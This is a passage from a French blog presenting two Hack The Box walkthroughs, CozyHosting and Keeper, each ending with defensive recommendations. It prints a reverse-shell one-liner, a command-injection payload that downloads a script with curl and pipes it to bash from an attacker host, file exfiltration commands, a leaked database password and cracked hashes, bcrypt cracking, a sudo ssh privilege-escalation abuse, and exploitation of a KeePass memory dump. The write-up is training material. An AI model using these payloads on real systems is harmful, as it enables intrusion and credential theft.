ssh username@host

Alors, nous pourrions insérer n’importe quelle commande dans cette commande SSH à l'aide d'une variable "host" comme celle-ci :

host = 127.0.0.1;whoami
username = john
ssh john@127.0.0.1;whoami

Tentons de vérifier notre hypothèse :

Cela ne fonctionne pas, l'application web semble vérifier la cohérence du paramètre "hostname" reçu. Voyons si c'est également le cas avec le "username" :

Si l'on regarde attentivement le message d'erreur, nous comprenons qu'il s'agit en fait de deux messages distincts. Cela valide notre supposition initiale, au moins pour le paramètre "username". Voici précisément ce que donne notre injection

ssh john;[email protected]

# Détail des message d'erreurs
ssh john # ssh : Could not resolve hostname john : Temporary failure in name resolution
[email protected] # /bin/bash: line1 : [email protected]: command not found

Étant donné que nous avons inséré un caractère de chainage de commande sous Linux (le point-virgule), nous avons maintenant deux commandes. Cependant, aucune des deux n'est réellement valide. Maintenant que nous avons validé la possibilité d'une injection de commande, nous devons produire quelque chose d'utile et de fonctionnel pour un attaquant. Au moins une de nos deux commandes doit pouvoir être exécutée sans erreurs.

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

Je décide d'utiliser pour cela une substitution de commande, qui permet sous Linux d'utiliser le résultat d'une commande comme argument pour une autre commande :

# Poste attaquant
# Création d'un script reverse shell
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.162 9001 >/tmp/f"   > x

# Mise en en écoute d'un service web
python3 -m http.server

# Mise en écoute d'un netcat (port 9001)
$ nc -lvp 9001

Mon idée ici est de générer le téléchargement, puis l'exécution d'un script Bash qui contient des instructions pour monter un reverse shell en direction de mon système d'attaque.

Un reverse shell est une suite d'intrusion exécutée pour qu'un système compromis se connecte à un serveur distant contrôlé par l'attaquant, permettant ainsi à ce dernier d'obtenir un accès à distance à la machine compromise. Cette technique est souvent utilisée pour contourner les pare-feu et établir une communication secrète, rarement journalisée (à l'inverse d'une connexion SSH par exemple).

Voici la requête web utilisée pour l'exploitation :

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin?error=Invalid%20hostname!
Cookie: JSESSIONID=10613C25E1495DF30F924F3A32433826
Upgrade-Insecure-Requests: 1

host=1.1.1.1&username=$(curl${IFS}http://10.10.14.162:8000/x|bash)

Ici, on voit la substitution à l'intérieur du "$( )". Le système Linux va d'abord "résoudre" cette substitution avant d'insérer le résultat de la commande dans le "username" de la commande SSH. Vous noterez également la présence d'un "${IFS}", qui permet d'insérer un espace sans utiliser l'espace. Ainsi, même si le "username" de la commande SSH est mal formaté et entraîne une erreur, la substitution sera exécutée avant et l'erreur de la commande SSH n'aura aucun impact sur mon exploitation.

Enfin, le fait d'utiliser "curl http://IP/script|bash" permet de télécharger et exécuter un script Bash sans dépôt sur le système. J'utilise cette astuce pour éviter de m'embêter avec les nombreux caractères spéciaux de ma commande reverse shell, qui peuvent être à manipuler correctement pour passer l'encodage/décodage par le client, le service et l'application web.

# Récepetion du reverse shell sur le poste attaquant
$ nc -lvp 9001
connect to [10.10.14.162] from cozyhosting.htb [10.10.11.230] 42102
app@cozyhosting:/app$ 

À présent, nous avons à notre disposition un shell interactif en tant que l'utilisateur "app" le serveur attaqué.

Nous venons de le voir, les attaque de type RCE (Remote Command Execution) sont parmi les plus critiques qui puissent exister au sein d'une application web. Elles permettent d'exécuter du code sur un serveur web qui héberge l'application web, avec les droits du service web. Ainsi, nous pouvons nous affranchir des limitations imposées par nos droits applicatifs ou les fonctionnalités de l'application.

D. Récupération d'identifiants

Nous avons un premier accès au serveur, pour aller jusqu'au bout, nous devons passer root ! Nous pouvons simplement commencer par quelques opérations de découverte basique sur le serveur :

  • Quels sont nos droits et groupes ?
app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
  • Existe-t-il des services accessibles qu'en interne ?
netstat -petulan |grep "LISTEN" |grep "127.0.0"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      102        21525      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      114        22278      -
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1001       23652      1065/java         
  • Quels fichiers intéressants pouvons-nous lire ?
app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar
  • etc...

Technique d'attaque (MITRE ATT&CK) : T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Après quelques recherches, je découvre le fichier "cloudhosting-0.0.1.jar", il s'agit probablement du site web qui expose le site vitrine vu précédemment. Je décide de l'exfiltrer du serveur pour étude en local :

app@cozyhosting:/app$ python3 -m http.server 8123
python3 -m http.server 8123
10.10.14.162 - "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -

# Poste d'attaque
$ wget http://10.10.11.230:8123/cloudhosting-0.0.1.jar

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

Une archive JAR est un conteneur de fichiers Java, regroupant des classes et des ressources, facilitant le déploiement et l'exécution d'applications Java. Elle permet de compresser et d'organiser des éléments liés au code source notamment pour favoriser la portabilité et la distribution des programmes .

Une simple recherche via grep dans les fichiers composants de l'archive ".jar" nous permet de retrouver des identifiants correspondants à une base de données :

$ unzip cloudhosting-0.0.1.jar -d cloudhosting
$ grep "passw" -ri cloudhosting -C3

BOOT-INF/classes/application.properties-spring.datasource.platform=postgres   
BOOT-INF/classes/application.properties-spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting 
BOOT-INF/classes/application.properties-spring.datasource.username=postgres   
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR 

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

À la suite de notre découverte des services en écoute interne, nous avons identifié un service PostgreSQL. Nous pouvons probablement nous y authentifier avec les identifiants découverts :

app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres -c "\list"
psql -h 127.0.0.1 -U postgres -c "\list"
Password for user postgres: Vg&nvzAQ7XxR

Technique d'attaque (MITRE ATT&CK) : T1005 - Data from Local System

Une découverte des bases de données, tables et données accessibles nous permet de découvrir une table intéressante :

Cette table contient deux comptes utilisateur, ainsi que le hash de leur mot de passe.

select * from users;
   name    |      password      | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

Nous utilisons à présent John The Ripper pour tenter de casser ces hash à l'aide du dictionnaire de mot de passe rockyou.txt :

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/y
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     

Le préfixe "$2a$" dans le contexte des hachages de mots de passe fait référence à la version "2a" de l'algorithme de hachage Blowfish utilisé avec la fonction de hachage de mots de passe bcrypt. Mais, c'est une information que John The Ripper sait traiter de façon autonome pour adapter son attaque.

Le cassage de hash de mot de passe bcrypt par dictionnaire avec John the Ripper implique l'utilisation d'une liste de mots prédéfinis (dictionnaire) pour tenter de trouver une correspondance avec les hachages bcrypt. John the Ripper génère les hachages correspondants aux mots du dictionnaire et compare ensuite avec le hash cible. Si les hashs correspondent, alors le hash est considéré comme cassé et l'on connait le mot de passe d'origine.

Bingo ! Nous parvenons à casser le hash du mot de passe de l'utilisateur "admin" !

E. Élévation du privilège sudo

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

Étant donné que nous avons un accès au serveur, nous pouvons accéder en lecture au fichier "/etc/passwd", ce qui nous permettra d'avoir une liste d'utilisateur sur lequel tester notre mot de passe :

app@cozyhosting:/app$ cat /etc/passwd |tail -n 4
cat /etc/passwd |tail -n 4
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Le mot de passe découvert peut être utilisé pour se connecter en SSH avec le compte de l'utilisateur "josh" :

$ ssh [email protected]
josh@cozyhosting:~$ cat user.txt 
7d7[REDACTED]ca5d3c56

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons maintenant, entre autres, lister les dérogations d'exécution via sudo accordées à cet utilisateur :

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
    (root) /usr/bin/ssh *

Intéressant, cet utilisateur peut exécuter la commande SSH en tant que root. Nous pouvons utiliser la ressource gtfobins.sh pour connaitre les éventuels abus existant sur cette commande : https://gtfobins.github.io/gtfobins/ssh/#sudo

Nous pouvons visiblement utiliser l'option "Proxycommand" pour exécuter une commande en tant que root. L'option ProxyCommand dans la commande SSH permet de spécifier une commande qui sera utilisée pour établir une connexion à un hôte distant. Elle est utile pour traverser un proxy/rebond avant d'atteindre la destination finale. Ici, nous utiliserons l'option pour avoir un shell interactif, encore une fois grâce à un chainage de commande :

Une fois de plus, nous parvenons à abuser de la dérogation de droit sudo pour exécuter autre chose que la commande autorisée. Cela nous permet d'obtenir les droits root sur le serveur.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryDécouverte des services exposés avec uns can réseau via nmap
T1595 - Active Scanning: Vulnerability ScanningUtilisation de nuclei et découverte des points d'entrée SpringBoot Actuator
T1190 - Exploit Public-Facing ApplicationVol de session de l'application via Actuator
T1059.004 - Command and Scripting Interpreter: Unix ShellExploitation d'une RCE dans la fonctionnalité "/executessh" de l'espace authentifié du site vitrine et obtention d'un revershell
T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 ProtocolExfiltration de l'archive ".jar" du site vitrine via HTTP
T1552.001 - Unsecured Credentials: Credentials In FilesDécouverte d'identifiants de bases de données postgreSQL dans l'archive ".jar"
T1078.003 - Valid Accounts: Local AccountsAuthentification sur le service PostgreSQL local du système cible
T1005 - Data from Local SystemRécupération des hashs des mots de passe des utilisateurs de l'application web en base de données
T1110.002 - Brute Force: Password CrackingCassage des hashs découverts avec John The Ripper, obtention des identifiants de l'utilisateur "admin"
T1021.004 - Remote Services: SSHAuthentification SSH avec l'utilisateur "josh"
T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo CachingAbus de la dérogation de droits sudo accordée à l'utilisateur josh sur la commande SSH.

IV. Notions abordées

A. Côté attaquant

L'utilisation de nuclei nous a fait gagner un temps certains ici. Bien qu'il ne soit pas du tout recommandé de baser notre analyse et nos tests uniquement sur ce genre d'outils automatisés, il faut savoir en tirer parti, car ils présentent certains avantages. Notamment, ils peuvent rapidement tester des éléments très spécifiques autour d'une CVE (même ancienne) ou d'une mauvaise configuration. Ils peuvent aussi passer à côté de vulnérabilité très basiques qui dépendent plus du contexte applicatif. Il faut donc utiliser ces outils intelligemment...

Nous avons également vu dans cet exercice la dangerosité des vulnérabilités de type RCE (Remote Command Execution) et un exemple scolaire d'exploitation de celle-ci. Si l'on s'intéresse au code applicatif ayant mené à cette vulnérabilité (car nous avons l'archive ".jar" à présent), nous pouvons retrouver le code suivant :

Nous voyons ici l'utilisation de "Runtime.getRuntime().exec()" pour exécuter des commandes système en Java. Également, on remarque les fonctions "validateUserName", qui vérifie simplement la présence d'un espace, et "validateHost", qui repose sur une expression régulière et un pattern plus complexe (je n'ai pas précisément étudié le pattern), ce qui correspond à nos observations "boite noire" (sans le code sous les yeux).

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : la première recommandation est bien sûr de rendre inaccessible le point d'entrée "Actuator" aux visiteurs non authentifiés. Ce genre d'information ne doit être visibles qu'aux développeurs. Si celles-ci ne sont pas activement utilisées, il est recommandé de désactiver "Springboot Actuator" sur les environnements en production.

Recommandation n°2 : il est recommandé de renforcer la sécurité applicative, et notamment le contrôle des entrées utilisateurs sur la fonctionnalité "/executessh". La fonction "validateUsername" doit vérifier l'absence de tout caractère spécial susceptible de causer des erreurs ou d'être utilisés pour du chainage et de la substitution de commande. Des ressources de l'OWASP peuvent ici être mises en référence (OS Command Injection Defense Cheat Sheet, OWASP Testing Guide v4.2 - Testing for Command Injection). Pour prendre un peu de recul, la mise en place d'un pare-feu applicatif (WAF ou Web Application Firewall) peut également être recommandée. Celui-ci, s'il est bien configuré, permettra de freiner la démarche de l'attaquant sur les exploitations basiques telles qu'observées ici, voire de lever l'alerte auprès des équipes de sécurité.

Recommandation n°3 : la troisième recommandation porte encore une fois sur "sudo". Si non justifiée par un besoin métier, il est recommandé de supprimer la dérogation "sudo" en place, car la commande concernée peut être utilisée pour exécuter d'autres commandes avec les droits "root". Si elle est justifiée par un besoin métier, il peut être recommandé de passer un script ou un binaire (non modifiable bien entendu) qui restreindra l'utilisation des options de la commande SSH, voir contiendra uniquement quelques commandes pré-enregistrées. L'essentiel est de réduire la marge de manœuvre de l'utilisateur sur l'utilisation de la commande SSH. Le chapitre "6.3 Contrôle d'accès" du guide Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI contient un ensemble de bonnes pratiques autour de la configuration sudo.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Hack The Box – Résoudre la box Keeper : outils, méthodes et recommandations pour se protéger

12 février 2024 à 09:19

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Keeper, de difficulté "Facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs. 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesLinux, web, CMS, Keepass
Outils utilisésnmap, curl, bash, Python, Keepass Password Dumper

II. Résolution de la box Keeper

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap -F --max-retries 1 -T4 --open -sV 10.10.11.227 -oA nmap-FastVersion
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vous noterez ici que j'utilise l'option -oA de l'outil nmap. Celle-ci permet d'enregistrer la sortie du scan dans trois formats de fichier : texte, XML et un format "condensé" fait pour être utilisé par grep facilement. Lors d'un audit, il est très important de garder toutes les traces générées par nos attaques ou scans. Notamment pour être sûr de ne rien manquer lors de la phase de reporting, surtout si elle s'effectue "à froid" (après l'audit, sans accès à la cible). Je vous conseille de systématiquement utiliser les options intégrées dans vos outils pour générer les traces.

Seuls deux services sont accessibles, un service web et un service d'administration SSH. Tentons dans un premier temps de voir ce qui est présent sur le service web à l'aide de la commande "curl" :

$ curl http://10.10.11.227
<html>
  <body>
    <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
  </body>
</html>

Le virtual host par défaut du service web nous indique qu'un nom de domaine "tickets.keeper.htb" existe, il faut donc mettre à jour notre fichier "/etc/hosts" pour pouvoir le résoudre et y accéder :

$ echo "10.10.11.227 tickets.keeper.htb" |sudo tee -a /etc/hosts

B. Des identifiants connus de tous

En arrivant sur l'application web "http://tickets.keeper.htb/rt/", on remarque qu'il s'agit d'une solution de type CMS (Content Management System) et non d'un développement "fait main". Dans ces cas-là, il est important d'identifier rapidement quelques informations comme la version du CMS installée, l'existence de vulnérabilités connues sur cette version ou les suivantes, mais également les identifiants par défaut utilisé (s'ils existent). Ici, le CMS utilisé est Request Tracker 4.4.4" :

La récupération d'information est facilitée, notamment grâce au logo du CMS qui affiche "Request Tracker", mais également via la version précise de l'instance installée, et même des informations concernant le système d'exploitation qui héberge l'application web. Pour en apprendre plus sur la récupération de ce type d'information, je vous oriente vers mon article : Qu’est ce que le Banner Grabbing ?

Sur une application web et sur de nombreux équipements, une installation toute fraiche comporte un compte d'administration par défaut. Celui-ci est utilisé pour une première connexion afin de configurer la solution et créer d'autres comptes. Une mauvaise pratique courante consiste simplement à laisser ce compte par défaut actif, en oubliant de le désactiver ou de changer son mot de passe. Il suffit alors de lire la documentation !

Nous retrouvons ici les identifiants par défaut du compte d'administration des CMS Request Tracker via une recherche Google, dans une documentation non officielle (wiki de la distribution Gentoo) :

Souvent, il est possible de retrouver cette information sur des sites dédiés qui référencent les identifiants par défaut (cirt.net), dans des wordlists dédiées (SecLists), sur des forums (comme ici sur Stackoverflow) ou simplement dans des tutoriels que les administrateurs sont susceptibles d'avoir suivi sans réfléchir !

Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts

Nous parvenons à accéder en tant qu'administrateur à l'application web via les identifiants par défaut : "root:password".

Les applications de ticketing sont généralement très intéressantes pour un attaquant. Elles contiennent un grand nombre d'informations et de détails techniques, et parfois des mots de passe que s'échangent utilisateurs et supports (création de compte, mots de passe qui ne fonctionnent pas, réinitialisation d'un mot de passe, etc.).

C. Informations sensibles exposées

Étant administrateur de la solution, nous accédons à tous les tickets de la plateforme, ainsi qu'aux informations des utilisateurs. La description de l'un d'entre eux est particulièrement intéressante :

Technique d'attaque (MITRE ATT&CK) : T1552 - Unsecured Credentials

On note également un ticket intéressant qui mentionne un crash keepass :

Nous avons à présent un premier mot de passe et un nom d'utilisateur, tentons de les utiliser sur tous les services accessibles demandant une authentification :

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
Last login: Thu Aug 24 14:44:17 2023 from 10.10.14.86
lnorgaard@keeper:~$ cat user.txt
f85d[REDACTED]4f3a0

Nous avons un premier accès sur la machine ! Il faut à présent tenter d'élever nos privilèges jusqu'à obtenir un accès en tant que root, ce qui nous permettra d'être maitre de la machine.

Il est intéressant de noter que, dans la réalité, l'obtention des droits root sur un serveur web Linux en DMZ n'est pas systématiquement l'objectif principal de l'attaquant. Avec des droits non privilégiés, l'attaquant peut déjà installer des accès distants (reverse shell), des portes dérobées pour revenir sur son accès, mais aussi utiliser ce système comme un rebond vers le reste du réseau. Ici l'attaquant n'a probablement émis aucune alerte de sécurité (EDR/IDS/SIEM) puisque seul un accès SSH a été réalisé. Il serait idiot de tenter des opérations malveillantes potentiellement verbeuses pour passer root si cela n'est pas nécessaire.

D. Accès à la mémoire d'un process Keepass

Bref, notre objectif ici est de compromettre totalement la machine. Commençons par quelques opérations basiques, notamment en regardant les fichiers auxquels notre utilisateur "lnorgaard" a accès. J'utilise pour commencer cela l'outil "find" avec l'option "-user" :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

lnorgaard@keeper:~$ find / -user $(whoami) 2>/dev/null |grep -v "/proc\|/sys"
/var/mail/lnorgaard
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/gnupg/S.gpg-agent
/run/user/1000/gnupg/S.gpg-agent.ssh
/run/user/1000/gnupg/S.gpg-agent.extra
/run/user/1000/gnupg/S.gpg-agent.browser
/run/user/1000/gnupg/S.dirmngr
/home/lnorgaard
/home/lnorgaard/.bash_logout
/home/lnorgaard/.bashrc
/home/lnorgaard/RT30000
/home/lnorgaard/RT30000.zip
/home/lnorgaard/RT30000/KeePassDumpFull.dmp
/home/lnorgaard/RT30000/passcodes.kdbx
/home/lnorgaard/.ssh
/home/lnorgaard/.ssh/known_hosts
/home/lnorgaard/.ssh/known_hosts.old
/home/lnorgaard/.cache
/home/lnorgaard/.cache/motd.legal-displayed
/home/lnorgaard/.config
/home/lnorgaard/.gnupg
/home/lnorgaard/.gnupg/pubring.kbx
/home/lnorgaard/.gnupg/trustdb.gpg
/home/lnorgaard/.profile

Cette commande m'indique tous les fichiers et dossiers dont l'utilisateur est le propriétaire. Attention à bien noter la différence avec les fichiers accessibles en lecture par mon utilisateur, les groupes auxquels il appartient ou les fichiers "word readables". Comme mentionné dans le ticket découvert plus tôt, nous trouvons un coffre-fort Keepass et un fichier .dmp. Je décide de les exfiltrer pour analyse sur mon poste d'attaquant :

Technique d'attaque (MITRE ATT&CK) : T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

# Système Linux compromis
lnorgaard@keeper:~$ python3 -m http.server 9001

# Mon poste Kali
$ wget http://10.10.11.227:9001/RT30000.zip
$ unzip RT30000.zip 
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx    

Ici, j'utilise le module http.server de Python3 pour créer un "mini serveur web" qui exposera sur le port 9001 du système compromis un index correspond au home de l'utilisateur "lnorgaard". Il s'agit d'une méthode simple et rapide pour échanger des fichiers avec un autre système. Attention cependant, les données transitent un HTTP, et donc en clair.

Nous pourrions tenter d'effectuer une attaque par brute force sur le coffre-fort Keepass à l'aide d'outils comme hashcat ou John The Ripper. Néanmoins, la présence d'un fichier ".dmp" est assez inhabituelle.

Un fichier .dmp est généralement un fichier de vidage mémoire (core dump) qui enregistre l'état de la mémoire d'un processus au moment de son arrêt anormal, comme un crash. Ces fichiers sont utiles pour l'analyse post-mortem des erreurs et des problèmes logiciels (raison du crash). Ils peuvent notamment contenir des informations sensibles lorsque les programmes concernés en stockent en mémoire.

Technique d'attaque (MITRE ATT&CK) : T1212 - Exploitation for Credential Access

Après quelques recherches sur la façon dont je pourrais extraire des informations d'un dump mémoire du processus Keepass, je découvre la CVE-2023-32784 affectant les versions de Keepass 2.x antérieures à la version 2.54 :

D'après la description de cette CVE, il serait possible d'extraire le mot de passe du coffre-fort Keepass à partir d'un crash dump, nous ignorons si la version de Keepass utilisée est vulnérable, mais nous avons à disposition un crash dump, cela vaut donc le coup de tenter.

Il faut comprendre que, pour un logiciel "standard", le fait de retrouver des informations en clair d'un crash dump est plutôt normal. On s'attend cependant à ce qu'un outil de sécurité dissimule ces informations afin que l'obtention d'un crash dump ne donne pas lieu à la fuite d'un secret, c'est pourquoi il s'agit ici d'une vulnérabilité donnant lieu à une CVE. J'utilise pour "exploiter" ce dump mémoire et cette CVE l'outil Keepass Password Dumper :

Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde     

       ●ødgrød med fløde
        ●Ïdgrød med fløde
        ●,dgrød med fløde
         ●ldgrød med fløde
         ●`dgrød med fløde
         ●-dgrød med fløde
         ●'dgrød med fløde
         ●]dgrød med fløde
         ●§dgrød med fløde
        ●Adgrød med fløde
         ●Idgrød med fløde
         ●:dgrød med fløde
         ●=dgrød med fløde
         ●_dgrød med fløde
         ●cdgrød med fløde
         ●Mdgrød med fløde

Cela ne me donne rien de compréhensible, même si le terme "dgrød med fløde" est constitué de caractères qui pourraient être ceux d'une langue étrangère. En effectuant une requête Google sur ces termes, je trouve le nom d'un plat danois : rødgrød med fløde :

Ce nom constituerait en soi une passphrase plutôt robuste avec de nombreux caractères et des caractères spéciaux/inhabituels (espace et "ø"). Il s'agit effectivement de la passphrase protégeant le coffre-fort KeePass récupéré ! Ce coffre-fort contient notamment une clé privée d'authentification :

Un dernier détail, il s'agit d'une clé SSH formatée pour l'outil Putty, qui n'est pas tout à fait le même que le format utilisé par OpenSSH. Une petite conversion est nécessaire :

$ sudo apt-get install putty-tools
$ puttygen /tmp/puttyKey.ppk -O private-openssh -o /tmp/openssh.key

Nous pouvons à présent nous connecter en tant que root sur le système via SSH :

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ chmod 600 /tmp/openssh.key 
$ ssh [email protected] -i /tmp/openssh.key
root@keeper:~# cat root.txt
d5d[REDACTED]fc8b81

Et voilà, nous avons obtenu les droits "root" sur le système cible.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryRéalisation d'un scan réseau via nmap, identification du CMS Request Tracker.
T1078.001 - Valid Accounts: Default AccountsAuthentification à l'aide des identifiants par défaut du CMS.
T1552 - Unsecured CredentialsDécouverte d'un mot de passe utilisateur dans la description d'un utilisateur du CMS.
T1021.004 - Remote Services: SSHAccès en SSH avec le compte lnorgaard
T1083 - File and Directory DiscoveryDécouverte d'une archive ZIP contenant une base KeePass et un dump mémoire
T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 ProtocolExfiltration via HTTP de l'archive ZIP vers le poste de l'attaquant
T1212 - Exploitation for Credential AccessExploitation de la CVE-2023-32784 exposant le mot de passe du coffre-fort en clair lors d'un dump mémoire.
T1021.004 - Remote Services: SSHAccès en SSH avec le compte root

IV. Notions abordées

A. Côté attaquant

Ici, il s'agissait de revenir aux fondamentaux : le mot de passe du compte par défaut. Il s'agit d'une faiblesse très présente dans la réalité, la découverte de cette vulnérabilité permet de rappeler qu'il ne faut jamais négliger les tests les plus simples.

À l'inverse, il est aussi important de savoir identifier les éléments inhabituels au sein d'un système. C'est bien plus le cas dans les CTF que dans la vie réelle. Ici, nous aurions pu passer plusieurs heures à tenter de deviner le mot de passe de la base KeePass découverte, en vain. L'option du brute force étant la plus logique, il fallait également s'intéresser au dump mémoire (plutôt rare d'en trouver dans la vie réelle ou sur les exercices Hack The Box). Le lien avec la version de KeePass n'était pas forcément évident à faire sans avoir la version utilisée par l'utilisateur, mais les bons termes de recherche permettaient de nous orienter vers la bonne CVE.

Un avantage que nous avons aussi souvent sur Hack The Box est qui n'existe pas dans la vie réelle est que les CVE à exploiter (quand il y en a) sont souvent récentes, ce qui permet de faire un tri plus rapide. Dans des conditions réelles, il est fréquent de découvrir des applications qui n'ont pas été mises à jour depuis plusieurs années. Les CVE potentiellement applicables se présentent donc en grand nombre.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : la principale recommandation ici concerne le premier élément de notre scénario d'attaque. Il est recommandé de modifier systématiquement les mots de passe par défaut des équipements et applications installés sur le système d'information, ou de désactiver ce compte par défaut pour le remplacer par un autre lorsque c'est possible (l'attaquant devra alors devenir le login en plus du mot de passe). Cela est notamment mentionné dans la directive n°12 du guide d'hygiène de l'ANSSI : Changer les éléments d’authentification par défaut sur les équipements et services.

Il est impératif de partir du principe que les configurations par défaut des systèmes d’information sont systématiquement connues des attaquants, quand bien même celles-ci ne le sont pas du grand public. Ces configurations se révèlent (trop) souvent triviales (mot de passe identique à l’identifiant, mal dimensionné ou commun à l’ensemble des équipements et services par exemple) et sont, la plupart du temps, faciles à obtenir pour des attaquants capables de se faire passer pour un utilisateur légitime.

Guide d'hygiène informatique - ANSSI

Recommandation n°2 : il est recommandé de protéger les clés SSH par une passphrase, ce qui empêchera ou ralentira leur réutilisation en cas de vol par un attaquant. Ce cas de figure est d'ailleurs mentionné par l'ANSSI comme un exemple d'authentification double facteur dans son guide Recommandations relatives à l'authentification multifacteur et aux mots de passe. La passphrase permet de chiffrer la clé privée.

Recommandation n°3 : il est également recommandé de mettre à jour les logiciels utilisés sur le système Linux concerné. Au-delà de la présence inhabituelle du dump mémoire Keepass (qui était situé dans le "home" de l'utilisateur propriétaire), c'est une CVE affectant une version non à jour qui a mené à la découverte du mot de passe du coffre-fort. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : définir une politique de mise à jour des composants du système d’information.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

